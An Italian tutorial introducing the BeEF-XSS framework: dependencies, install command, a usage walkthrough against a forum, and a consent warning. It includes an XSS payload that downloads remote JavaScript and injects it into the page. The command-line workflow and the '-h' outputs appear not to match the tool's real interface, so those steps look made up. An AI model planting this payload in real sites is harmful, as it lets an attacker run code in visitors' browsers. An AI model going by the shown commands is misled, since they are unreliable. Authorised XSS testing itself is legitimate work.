Beef-XSS è un framework open source che consente agli sviluppatori o pentester di testare la vulnerabilità alle cross-site scripting (XSS) delle loro applicazioni web.
Questo tool è dotato di un interfaccia web per fornire una serie di payloads XSS paragonabili a template che possono essere utilizzati per testare le applicazioni ecc... in pratica creazione di payload personalizzati.
Dipendenze
- adduser
- lsof
- ruby-ansi
- ruby-async-dns
- ruby-dev
- ruby-em-websocket
- ruby-erubis
- ruby-espeak
- ruby-eventmachine
- ruby-execjs
- ruby-json
- ruby-maxmind-db
- ruby-mime-types
- ruby-msfrpc-client
- ruby-otr-activerecord
- ruby-parseconfig
- ruby-qr4r
- ruby-rack
- ruby-rack-protection
- ruby-rubydns
- ruby-rushover
- ruby-sinatra
- ruby-slack-notifier
- ruby-sqlite3
- ruby-term-ansicolor
- ruby-terser
- ruby-twitter
- ruby-xmlrpc
- ruby-zip
- rubygems-integration
- thin
- xdg-utils
Installazione Debian:
- Comando:
sudo apt install beef-xss
Esempio di utilizzo
Beef-XSS può essere utilizzato da terminale, si può utilizzare l'interfaccia a riga di comando (CLI):
./beef-cli
Ora vediamo un esempio di test con payload al nostro forum:
Usiamo "use" per selezionare la modalità "module" e successivamente "exploit/xss/beefjs_script"
use module/exploit/xss/beefjs_script
Un esempio di questo exploit potrebbe essere:
<script>
function exploit() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://ethicalhacking.freeflarum.com/exploit", true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var script = document.createElement("script");
script.type = "text/javascript";
script.innerHTML = xhr.responseText;
document.getElementsByTagName("head")[0].appendChild(script);
}
}
xhr.send();
}
exploit();
</script>
Scriviamo "set" per impostare l'URL del sito web da testare:
set target https://ethicalhacking.freeflarum.com
"run" per eseguire l'exploit e inviare il payload:
run
Per visualizzare le sessioni attive:
sessions -l
Info utili:
root@kali:~# beef-xss -h
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:
root@kali:~# beef-xss-stop -h
* beef-xss.service - beef-xss
Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: inactive (dead)
Conclusioni
Concludendo credo che questo tool sia molto utile per appunto pentester/sviluppatori per testare la vulnerabilità alle cross-site scripting (XSS) delle PWA. Il framework possiede un'interfaccia web facile da usare per fornire una serie di payloads XSS di default, visto che è abbastanza intuitiva ho evitato di approfondire questa parte.
Importante sottolineare che questo strumento deve essere utilizzato solo in ambienti di test o dove abbiamo il consenso, per il resto cercare di violare PWA è reato!